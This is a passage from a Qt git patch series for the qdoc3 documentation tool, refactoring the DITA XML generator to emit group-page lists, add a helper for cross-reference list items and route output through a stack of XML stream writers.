DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } generateBody(fake, marker); generateAlsoList(fake, marker); + + if (!fake->groupMembers().isEmpty()) { + NodeMap groupMembersMap; + foreach (const Node *node, fake->groupMembers()) { + if (node->type() == Node::Class || node->type() == Node::Namespace) + groupMembersMap[node->name()] = node; + } + generateAnnotatedList(fake, marker, groupMembersMap); + } + writer.writeEndElement(); // } writer.writeEndElement(); // @@ -1730,15 +1740,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker else out() << "
    \n"; // QTBUG-9504 - if (!fake->groupMembers().isEmpty()) { - NodeMap groupMembersMap; - foreach (const Node *node, fake->groupMembers()) { - if (node->type() == Node::Class || node->type() == Node::Namespace) - groupMembersMap[node->name()] = node; - } - generateAnnotatedList(fake, marker, groupMembersMap); - } - sections = marker->sections(fake, CodeMarker::Detailed, CodeMarker::Okay); s = sections.begin(); while (s != sections.end()) { -- cgit v0.12 From 916b610a272f1a1db41ad4177651e34904dd18a0 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Sep 2010 13:45:58 +0200 Subject: qdoc: Generate more xml for group pages. --- tools/qdoc3/ditaxmlgenerator.cpp | 278 +++++++++++++++++++++------------------ tools/qdoc3/ditaxmlgenerator.h | 195 +++++++++++++-------------- tools/qdoc3/generator.cpp | 6 +- 3 files changed, 252 insertions(+), 227 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index cd644ec..1ff9592 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -928,13 +928,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { - - writer.writeStartElement("li"); - writer.writeStartElement("xref"); - writer.writeAttribute("href",QString("#" + Doc::canonicalTitle((*s).name))); - writer.writeCharacters((*s).name); - writer.writeEndElement(); // - writer.writeEndElement(); //
  • + writeXrefListItem(QString("#" + Doc::canonicalTitle((*s).name)), + (*s).name); } ++s; } @@ -1535,6 +1530,19 @@ void DitaXmlGenerator::writeTargetAndHeader(const QString& target, } /*! + Write a list item for a \a link with the given \a text. + */ +void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) +{ + writer.writeStartElement("li"); + writer.writeStartElement("xref"); + writer.writeAttribute("href",link); + writer.writeCharacters(text); + writer.writeEndElement(); // + writer.writeEndElement(); // +} + +/*! Generate the html page for a qdoc file that doesn't map to an underlying c++ file. */ @@ -1615,6 +1623,31 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); } } + else if (fake->subType() == Node::HeaderFile) { + generateStatus(fake, marker); + writer.writeStartElement("ul"); + + QString membersLink = generateListOfAllMemberFile(fake, marker); + if (!membersLink.isEmpty()) { + writeXrefListItem(membersLink,"List of all members, including inherited members"); + } + + QString obsoleteLink = generateLowStatusMemberFile(fake, + marker, + CodeMarker::Obsolete); + if (!obsoleteLink.isEmpty()) { + writeXrefListItem(obsoleteLink,"Obsolete members"); + } + + QString compatLink = generateLowStatusMemberFile(fake, + marker, + CodeMarker::Compat); + if (!compatLink.isEmpty()) { + writeXrefListItem(compatLink,"Qt 3 support members"); + } + + writer.writeEndElement(); // + } if (!fake->doc().isEmpty()) { writer.writeStartElement("body"); @@ -1631,7 +1664,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker groupMembersMap[node->name()] = node; } generateAnnotatedList(fake, marker, groupMembersMap); - } + } writer.writeEndElement(); // } @@ -1653,34 +1686,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker marker); - else if (fake->subType() == Node::HeaderFile) { - // Generate brief text and status for modules. - generateBrief(fake, marker); - generateStatus(fake, marker); - - out() << "\n"; - } else if (fake->subType() == Node::QmlClass) { const QmlClassNode* qml_cn = static_cast(fake); const ClassNode* cn = qml_cn->classNode(); @@ -2177,8 +2182,8 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, return fileName; } -QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode *inner, - CodeMarker *marker, +QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, + CodeMarker* marker, CodeMarker::Status status) { QList
    sections = marker->sections(inner, @@ -2193,7 +2198,6 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode *inner, return QString(); int i; - QString title; QString fileName; @@ -2640,10 +2644,10 @@ void DitaXmlGenerator::generateLegaleseList(const Node *relative, } } -void DitaXmlGenerator::generateQmlItem(const Node *node, - const Node *relative, - CodeMarker *marker, - bool summary) +void DitaXmlGenerator::generateQmlItem(const Node* node, + const Node* relative, + CodeMarker* marker, + bool summary) { QString marked = marker->markedUpQmlItem(node,summary); QRegExp templateTag("(<[^@>]*>)"); @@ -2671,17 +2675,17 @@ void DitaXmlGenerator::generateQmlItem(const Node *node, writeText(marked, marker, relative); } -void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * /* marker */) +void DitaXmlGenerator::generateOverviewList(const Node* relative, CodeMarker* /* marker */) { - QMap > fakeNodeMap; - QMap groupTitlesMap; - QMap uncategorizedNodeMap; + QMap > fakeNodeMap; + QMap groupTitlesMap; + QMap uncategorizedNodeMap; QRegExp singleDigit("\\b([0-9])\\b"); const NodeList children = myTree->root()->childNodes(); - foreach (Node *child, children) { + foreach (Node* child, children) { if (child->type() == Node::Fake && child != relative) { - FakeNode *fakeNode = static_cast(child); + FakeNode* fakeNode = static_cast(child); // Check whether the page is part of a group or is the group // definition page. @@ -2713,24 +2717,25 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * / if (isGroupPage) { // If we encounter a group definition page, we add all // the pages in that group to the list for that group. - foreach (Node *member, fakeNode->groupMembers()) { + foreach (Node* member, fakeNode->groupMembers()) { if (member->type() != Node::Fake) continue; - FakeNode *page = static_cast(member); + FakeNode* page = static_cast(member); if (page) { QString sortKey = page->fullTitle().toLower(); if (sortKey.startsWith("the ")) sortKey.remove(0, 4); sortKey.replace(singleDigit, "0\\1"); - fakeNodeMap[const_cast(fakeNode)].insert(sortKey, page); - groupTitlesMap[fakeNode->fullTitle()] = const_cast(fakeNode); + fakeNodeMap[const_cast(fakeNode)].insert(sortKey, page); + groupTitlesMap[fakeNode->fullTitle()] = const_cast(fakeNode); } } } else if (!isGroupPage) { // If we encounter a page that belongs to a group then // we add that page to the list for that group. - const FakeNode *groupNode = static_cast(myTree->root()->findNode(group, Node::Fake)); + const FakeNode* groupNode = + static_cast(myTree->root()->findNode(group, Node::Fake)); if (groupNode) fakeNodeMap[groupNode].insert(sortKey, fakeNode); //else @@ -2786,9 +2791,9 @@ void DitaXmlGenerator::generateOverviewList(const Node *relative, CodeMarker * / } void DitaXmlGenerator::generateSection(const NodeList& nl, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style) { bool name_alignment = true; if (!nl.isEmpty()) { @@ -2878,9 +2883,9 @@ void DitaXmlGenerator::generateSection(const NodeList& nl, } void DitaXmlGenerator::generateSectionList(const Section& section, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style) + const Node* relative, + CodeMarker* marker, + CodeMarker::SynopsisStyle style) { bool name_alignment = true; if (!section.members.isEmpty()) { @@ -2946,9 +2951,9 @@ void DitaXmlGenerator::generateSectionList(const Section& section, } void DitaXmlGenerator::generateSectionInheritedList(const Section& section, - const Node *relative, - CodeMarker *marker, - bool nameAlignment) + const Node* relative, + CodeMarker* marker, + bool nameAlignment) { QList >::ConstIterator p = section.inherited.begin(); while (p != section.inherited.end()) { @@ -3165,8 +3170,8 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } void DitaXmlGenerator::generateLink(const Atom* atom, - const Node* /* relative */, - CodeMarker* marker) + const Node* /* relative */, + CodeMarker* marker) { static QRegExp camelCase("[A-Z][A-Z][a-z]|[a-z][A-Z0-9]|_"); @@ -3183,7 +3188,8 @@ void DitaXmlGenerator::generateLink(const Atom* atom, } inLink = false; writer.writeCharacters(protectEnc(atom->string().mid(k))); - } else if (marker->recognizeLanguage("Java")) { + } + else if (marker->recognizeLanguage("Java")) { // hack for Java: remove () and use when appropriate bool func = atom->string().endsWith("()"); bool tt = (func || atom->string().contains(camelCase)); @@ -3214,14 +3220,17 @@ QString DitaXmlGenerator::cleanRef(const QString& ref) const uint u = c.unicode(); if ((u >= 'a' && u <= 'z') || - (u >= 'A' && u <= 'Z') || - (u >= '0' && u <= '9')) { + (u >= 'A' && u <= 'Z') || + (u >= '0' && u <= '9')) { clean += c; - } else if (u == '~') { + } + else if (u == '~') { clean += "dtor."; - } else if (u == '_') { + } + else if (u == '_') { clean += "underscore."; - } else { + } + else { clean += "A"; } @@ -3229,25 +3238,33 @@ QString DitaXmlGenerator::cleanRef(const QString& ref) const QChar c = ref[i]; const uint u = c.unicode(); if ((u >= 'a' && u <= 'z') || - (u >= 'A' && u <= 'Z') || - (u >= '0' && u <= '9') || u == '-' || - u == '_' || u == ':' || u == '.') { + (u >= 'A' && u <= 'Z') || + (u >= '0' && u <= '9') || u == '-' || + u == '_' || u == ':' || u == '.') { clean += c; - } else if (c.isSpace()) { + } + else if (c.isSpace()) { clean += "-"; - } else if (u == '!') { + } + else if (u == '!') { clean += "-not"; - } else if (u == '&') { + } + else if (u == '&') { clean += "-and"; - } else if (u == '<') { + } + else if (u == '<') { clean += "-lt"; - } else if (u == '=') { + } + else if (u == '=') { clean += "-eq"; - } else if (u == '>') { + } + else if (u == '>') { clean += "-gt"; - } else if (u == '#') { + } + else if (u == '#') { clean += "#"; - } else { + } + else { clean += "-"; clean += QString::number((int)u, 16); } @@ -3273,12 +3290,12 @@ QString DitaXmlGenerator::registerRef(const QString& ref) return clean; } -QString DitaXmlGenerator::protectEnc(const QString &string) +QString DitaXmlGenerator::protectEnc(const QString& string) { return protect(string, outputEncoding); } -QString DitaXmlGenerator::protect(const QString &string, const QString &outputEncoding) +QString DitaXmlGenerator::protect(const QString& string, const QString& outputEncoding) { #define APPEND(x) \ if (xml.isEmpty()) { \ @@ -3295,20 +3312,25 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn if (ch == QLatin1Char('&')) { APPEND("&"); - } else if (ch == QLatin1Char('<')) { + } + else if (ch == QLatin1Char('<')) { APPEND("<"); - } else if (ch == QLatin1Char('>')) { + } + else if (ch == QLatin1Char('>')) { APPEND(">"); - } else if (ch == QLatin1Char('"')) { + } + else if (ch == QLatin1Char('"')) { APPEND("""); - } else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F) - || (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/')) - || (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) { + } + else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F) || + (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/')) || + (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) { // we escape '*/' and the last dot in 'e.g.' and 'i.e.' for the Javadoc generator APPEND("&#x"); xml += QString::number(ch.unicode(), 16); xml += QLatin1Char(';'); - } else { + } + else { if (!xml.isEmpty()) xml += ch; } @@ -3321,12 +3343,10 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn #undef APPEND } -QString DitaXmlGenerator::fileBase(const Node *node) +QString DitaXmlGenerator::fileBase(const Node* node) { QString result; - result = PageGenerator::fileBase(node); - if (!node->isInnerNode()) { switch (node->status()) { case Node::Compat: @@ -3342,21 +3362,21 @@ QString DitaXmlGenerator::fileBase(const Node *node) return result; } -QString DitaXmlGenerator::fileName(const Node *node) +QString DitaXmlGenerator::fileName(const Node* node) { if (node->type() == Node::Fake) { - if (static_cast(node)->subType() == Node::ExternalPage) + if (static_cast(node)->subType() == Node::ExternalPage) return node->name(); - if (static_cast(node)->subType() == Node::Image) + if (static_cast(node)->subType() == Node::Image) return node->name(); } return PageGenerator::fileName(node); } -QString DitaXmlGenerator::refForNode(const Node *node) +QString DitaXmlGenerator::refForNode(const Node* node) { - const FunctionNode *func; - const TypedefNode *typedeffe; + const FunctionNode* func; + const TypedefNode* typedeffe; QString ref; switch (node->type()) { @@ -3409,7 +3429,7 @@ QString DitaXmlGenerator::refForNode(const Node *node) return registerRef(ref); } -QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative) +QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative) { QString link; QString fn; @@ -3438,7 +3458,7 @@ QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative) return link; } -QString DitaXmlGenerator::refForAtom(Atom *atom, const Node * /* node */) +QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */) { if (atom->type() == Atom::SectionLeft) { return Doc::canonicalTitle(Text::sectionHeading(atom).toString()); @@ -3544,7 +3564,7 @@ void DitaXmlGenerator::generateDetailedMember(const Node* node, generateAlsoList(node, marker); } -void DitaXmlGenerator::findAllClasses(const InnerNode *node) +void DitaXmlGenerator::findAllClasses(const InnerNode* node) { NodeList::const_iterator c = node->childNodes().constBegin(); while (c != node->childNodes().constEnd()) { @@ -3601,7 +3621,7 @@ void DitaXmlGenerator::findAllClasses(const InnerNode *node) For generating the "New Classes... in 4.x" section on the What's New in 4.x" page. */ -void DitaXmlGenerator::findAllSince(const InnerNode *node) +void DitaXmlGenerator::findAllSince(const InnerNode* node) { NodeList::const_iterator child = node->childNodes().constBegin(); while (child != node->childNodes().constEnd()) { @@ -3667,7 +3687,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode* node) while (c != node->childNodes().end()) { if ((*c)->access() != Node::Private) { if ((*c)->isInnerNode() && (*c)->url().isEmpty()) { - findAllFunctions(static_cast(*c)); + findAllFunctions(static_cast(*c)); } else if ((*c)->type() == Node::Function) { const FunctionNode* func = static_cast(*c); @@ -3682,7 +3702,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode* node) } } -void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node) +void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { @@ -3696,7 +3716,7 @@ void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node) } } -void DitaXmlGenerator::findAllNamespaces(const InnerNode *node) +void DitaXmlGenerator::findAllNamespaces(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { @@ -3724,7 +3744,7 @@ void DitaXmlGenerator::findAllNamespaces(const InnerNode *node) } } -int DitaXmlGenerator::hOffset(const Node *node) +int DitaXmlGenerator::hOffset(const Node* node) { switch (node->type()) { case Node::Namespace: @@ -3741,7 +3761,7 @@ int DitaXmlGenerator::hOffset(const Node *node) } } -bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom) +bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom* atom) { while (atom != 0 && !(atom->type() == Atom::ListRight && atom->string() == ATOM_LIST_VALUE)) { if (atom->type() == Atom::ListItemLeft && !matchAhead(atom, Atom::ListItemRight)) @@ -3751,12 +3771,12 @@ bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom) return false; } -const Node *DitaXmlGenerator::findNodeForTarget(const QString &target, - const Node *relative, - CodeMarker *marker, - const Atom *atom) +const Node* DitaXmlGenerator::findNodeForTarget(const QString& target, + const Node* relative, + CodeMarker* marker, + const Atom* atom) { - const Node *node = 0; + const Node* node = 0; if (target.isEmpty()) { node = relative; @@ -3780,7 +3800,7 @@ const Node *DitaXmlGenerator::findNodeForTarget(const QString &target, return node; } -const QPair DitaXmlGenerator::anchorForNode(const Node *node) +const QPair DitaXmlGenerator::anchorForNode(const Node* node) { QPair anchorPair; @@ -3793,10 +3813,10 @@ const QPair DitaXmlGenerator::anchorForNode(const Node *node) return anchorPair; } -QString DitaXmlGenerator::getLink(const Atom *atom, - const Node *relative, - CodeMarker *marker, - const Node** node) +QString DitaXmlGenerator::getLink(const Atom* atom, + const Node* relative, + CodeMarker* marker, + const Node** node) { QString link; *node = 0; @@ -3897,14 +3917,14 @@ QString DitaXmlGenerator::getLink(const Atom *atom, return link; } -void DitaXmlGenerator::generateIndex(const QString &fileBase, - const QString &url, - const QString &title) +void DitaXmlGenerator::generateIndex(const QString& fileBase, + const QString& url, + const QString& title) { myTree->generateIndex(outputDir() + "/" + fileBase + ".index", url, title); } -void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) +void DitaXmlGenerator::generateStatus(const Node* node, CodeMarker* marker) { Text text; @@ -3953,10 +3973,10 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) } } -void DitaXmlGenerator::beginLink(const QString &link, - const Node *node, - const Node *relative, - CodeMarker *marker) +void DitaXmlGenerator::beginLink(const QString& link, + const Node* node, + const Node* relative, + CodeMarker* marker) { Q_UNUSED(marker) Q_UNUSED(relative) @@ -4018,8 +4038,8 @@ void DitaXmlGenerator::endLink() Currently handles only the QML property group. */ void DitaXmlGenerator::generateQmlSummary(const Section& section, - const Node *relative, - CodeMarker *marker) + const Node* relative, + CodeMarker* marker) { if (!section.members.isEmpty()) { NodeList::ConstIterator m; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index fe7a434..dad1c6f 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -91,28 +91,29 @@ class DitaXmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); + virtual void generateTree(const Tree* tree, CodeMarker* marker); - QString protectEnc(const QString &string); - static QString protect(const QString &string, const QString &encoding = "ISO-8859-1"); + QString protectEnc(const QString& string); + static QString protect(const QString& string, const QString& encoding = "ISO-8859-1"); static QString cleanRef(const QString& ref); static QString sinceTitle(int i) { return sinceTitles[i]; } protected: - virtual void startText(const Node *relative, CodeMarker *marker); - virtual int generateAtom(const Atom *atom, - const Node *relative, - CodeMarker *marker); - virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker); - virtual QString fileExtension(const Node *node) const; - virtual QString refForNode(const Node *node); - virtual QString linkForNode(const Node *node, const Node *relative); - virtual QString refForAtom(Atom *atom, const Node *node); + virtual void startText(const Node* relative, CodeMarker* marker); + virtual int generateAtom(const Atom* atom, + const Node* relative, + CodeMarker* marker); + virtual void generateClassLikeNode(const InnerNode* inner, CodeMarker* marker); + virtual void generateFakeNode(const FakeNode* fake, CodeMarker* marker); + virtual QString fileExtension(const Node* node) const; + virtual QString refForNode(const Node* node); + virtual QString linkForNode(const Node* node, const Node* relative); + virtual QString refForAtom(Atom* atom, const Node* node); void writeTargetAndHeader(const QString& target, const QString& header, const QString& attribute); + void writeXrefListItem(const QString& link, const QString& text); QString fullQualification(const Node* n); void writeDerivations(const ClassNode* cn, CodeMarker* marker); @@ -141,63 +142,63 @@ class DitaXmlGenerator : public PageGenerator private: enum SubTitleSize { SmallSubTitle, LargeSubTitle }; - const QPair anchorForNode(const Node *node); - const Node *findNodeForTarget(const QString &target, - const Node *relative, - CodeMarker *marker, - const Atom *atom = 0); + const QPair anchorForNode(const Node* node); + const Node* findNodeForTarget(const QString& target, + const Node* relative, + CodeMarker* marker, + const Atom* atom = 0); void generateBreadCrumbs(const QString& title, - const Node *node, - CodeMarker *marker); + const Node* node, + CodeMarker* marker); void generateHeader(const Node* node); void generateTitle(const QString& title, - const Text &subTitle, + const Text& subTitle, SubTitleSize subTitleSize, - const Node *relative, - CodeMarker *marker); + const Node* relative, + CodeMarker* marker); void generateBrief(const Node* node, CodeMarker* marker); - void generateIncludes(const InnerNode *inner, CodeMarker *marker); - void generateTableOfContents(const Node *node, - CodeMarker *marker, + void generateIncludes(const InnerNode* inner, CodeMarker* marker); + void generateTableOfContents(const Node* node, + CodeMarker* marker, Doc::SectioningUnit sectioningUnit, int numColumns, - const Node *relative = 0); - void generateTableOfContents(const Node *node, - CodeMarker *marker, + const Node* relative = 0); + void generateTableOfContents(const Node* node, + CodeMarker* marker, QList
    * sections = 0); - QString generateListOfAllMemberFile(const InnerNode *inner, CodeMarker *marker); - QString generateLowStatusMemberFile(const InnerNode *inner, - CodeMarker *marker, + QString generateListOfAllMemberFile(const InnerNode* inner, CodeMarker* marker); + QString generateLowStatusMemberFile(const InnerNode* inner, + CodeMarker* marker, CodeMarker::Status status); - void generateClassHierarchy(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap); - void generateAnnotatedList(const Node *relative, - CodeMarker *marker, - const NodeMap &nodeMap); - void generateCompactList(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap, + void generateClassHierarchy(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap); + void generateAnnotatedList(const Node* relative, + CodeMarker* marker, + const NodeMap& nodeMap); + void generateCompactList(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap, bool includeAlphabet, QString commonPrefix = QString()); - void generateFunctionIndex(const Node *relative, CodeMarker *marker); - void generateLegaleseList(const Node *relative, CodeMarker *marker); - void generateOverviewList(const Node *relative, CodeMarker *marker); + void generateFunctionIndex(const Node* relative, CodeMarker* marker); + void generateLegaleseList(const Node* relative, CodeMarker* marker); + void generateOverviewList(const Node* relative, CodeMarker* marker); void generateSectionList(const Section& section, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker, CodeMarker::SynopsisStyle style); #ifdef QDOC_QML void generateQmlSummary(const Section& section, - const Node *relative, - CodeMarker *marker); - void generateQmlItem(const Node *node, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker); + void generateQmlItem(const Node* node, + const Node* relative, + CodeMarker* marker, bool summary); - void generateDetailedQmlMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker); + void generateDetailedQmlMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker); void generateQmlInherits(const QmlClassNode* cn, CodeMarker* marker); void generateQmlInheritedBy(const QmlClassNode* cn, CodeMarker* marker); void generateQmlInstantiates(const QmlClassNode* qcn, CodeMarker* marker); @@ -205,61 +206,61 @@ class DitaXmlGenerator : public PageGenerator #endif void generateSection(const NodeList& nl, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker, CodeMarker::SynopsisStyle style); - QString getMarkedUpSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, + QString getMarkedUpSynopsis(const Node* node, + const Node* relative, + CodeMarker* marker, CodeMarker::SynopsisStyle style); void generateSectionInheritedList(const Section& section, - const Node *relative, - CodeMarker *marker, + const Node* relative, + CodeMarker* marker, bool nameAlignment = false); void writeText(const QString& markedCode, - CodeMarker *marker, - const Node *relative, + CodeMarker* marker, + const Node* relative, bool nameAlignment = false); - void generateFullName(const Node *apparentNode, - const Node *relative, - CodeMarker *marker, - const Node *actualNode = 0); - void generateDetailedMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker); - void generateLink(const Atom *atom, - const Node *relative, - CodeMarker *marker); - void generateStatus(const Node *node, CodeMarker *marker); + void generateFullName(const Node* apparentNode, + const Node* relative, + CodeMarker* marker, + const Node* actualNode = 0); + void generateDetailedMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker); + void generateLink(const Atom* atom, + const Node* relative, + CodeMarker* marker); + void generateStatus(const Node* node, CodeMarker* marker); QString registerRef(const QString& ref); - QString fileBase(const Node *node); + QString fileBase(const Node* node); #if 0 - QString fileBase(const Node *node, const SectionIterator& section); + QString fileBase(const Node* node, const SectionIterator& section); #endif - QString fileName(const Node *node); - void findAllClasses(const InnerNode *node); - void findAllFunctions(const InnerNode *node); - void findAllLegaleseTexts(const InnerNode *node); - void findAllNamespaces(const InnerNode *node); - void findAllSince(const InnerNode *node); - static int hOffset(const Node *node); - static bool isThreeColumnEnumValueTable(const Atom *atom); - virtual QString getLink(const Atom *atom, - const Node *relative, - CodeMarker *marker, + QString fileName(const Node* node); + void findAllClasses(const InnerNode* node); + void findAllFunctions(const InnerNode* node); + void findAllLegaleseTexts(const InnerNode* node); + void findAllNamespaces(const InnerNode* node); + void findAllSince(const InnerNode* node); + static int hOffset(const Node* node); + static bool isThreeColumnEnumValueTable(const Atom* atom); + virtual QString getLink(const Atom* atom, + const Node* relative, + CodeMarker* marker, const Node** node); - virtual void generateIndex(const QString &fileBase, - const QString &url, - const QString &title); + virtual void generateIndex(const QString& fileBase, + const QString& url, + const QString& title); #ifdef GENERATE_MAC_REFS - void generateMacRef(const Node *node, CodeMarker *marker); + void generateMacRef(const Node* node, CodeMarker* marker); #endif - void beginLink(const QString &link, - const Node *node, - const Node *relative, - CodeMarker *marker); + void beginLink(const QString& link, + const Node* node, + const Node* relative, + CodeMarker* marker); void endLink(); bool generatePageElement(QXmlStreamWriter& writer, const Node* node, @@ -300,7 +301,7 @@ class DitaXmlGenerator : public PageGenerator QString navigationLinks; QStringList stylesheets; QStringList customHeadElements; - const Tree *myTree; + const Tree* myTree; bool slow; bool obsoleteLinks; int noLinks; @@ -317,7 +318,7 @@ class DitaXmlGenerator : public PageGenerator NodeMap qmlClasses; #endif QMap funcIndex; - QMap legaleseTexts; + QMap legaleseTexts; NewSinceMaps newSinceMaps; static QString sinceTitles[]; NewClassMaps newClassMaps; diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index eee998a..5bd5156 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -860,7 +860,11 @@ QMap& Generator::formattingRightMap() return fmtRightMaps[format()]; } -QString Generator::trimmedTrailing(const QString &string) +/* + Trims trailimng whitespace off the \a string and returns + the trimmed string. + */ +QString Generator::trimmedTrailing(const QString& string) { QString trimmed = string; while (trimmed.length() > 0 && trimmed[trimmed.length() - 1].isSpace()) -- cgit v0.12 From 0770668614e8445cb452ccbc50543eede5fed2d1 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 13 Sep 2010 14:43:42 +0200 Subject: qdoc: Implemented stacking of XML stream writers. --- tools/qdoc3/ditaxmlgenerator.cpp | 1893 ++++++++++++++++++-------------------- tools/qdoc3/ditaxmlgenerator.h | 24 +- tools/qdoc3/pagegenerator.h | 18 +- 3 files changed, 886 insertions(+), 1049 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 1ff9592..f572cc7 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -508,7 +508,7 @@ QString DitaXmlGenerator::format() QString DitaXmlGenerator::writeGuidAttribute(QString text) { QString guid = lookupGuid(text); - writer.writeAttribute("id",guid); + xmlWriter().writeAttribute("id",guid); return guid; } @@ -595,11 +595,11 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, endLink(); } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } break; case Atom::BaseName: @@ -609,7 +609,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead = skipAtoms(atom, Atom::BriefRight); break; } - writer.writeStartElement(SHORTDESC); + xmlWriter().writeStartElement(SHORTDESC); if (relative->type() == Node::Property || relative->type() == Node::Variable) { QString str; @@ -624,94 +624,94 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, str[0] = str[0].toLower(); if (str.right(1) == ".") str.truncate(str.length() - 1); - writer.writeCharacters("This "); + xmlWriter().writeCharacters("This "); if (relative->type() == Node::Property) - writer.writeCharacters("property"); + xmlWriter().writeCharacters("property"); else - writer.writeCharacters("variable"); + xmlWriter().writeCharacters("variable"); QStringList words = str.split(" "); if (!(words.first() == "contains" || words.first() == "specifies" || words.first() == "describes" || words.first() == "defines" || words.first() == "holds" || words.first() == "determines")) - writer.writeCharacters(" holds "); + xmlWriter().writeCharacters(" holds "); else - writer.writeCharacters(" "); - writer.writeCharacters(str + "."); + xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters(str + "."); } break; case Atom::BriefRight: if (relative->type() != Node::Fake) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::C: - writer.writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); + xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]); if (inLink) { - writer.writeCharacters(protectEnc(plainCode(atom->string()))); + xmlWriter().writeCharacters(protectEnc(plainCode(atom->string()))); } else { writeText(atom->string(), marker, relative); } - writer.writeEndElement(); // sse writeStartElement() above + xmlWriter().writeEndElement(); // sse writeStartElement() above break; case Atom::Code: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(trimmedTrailing(atom->string()), marker, relative); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::Qml: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(trimmedTrailing(atom->string()), marker, relative); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case 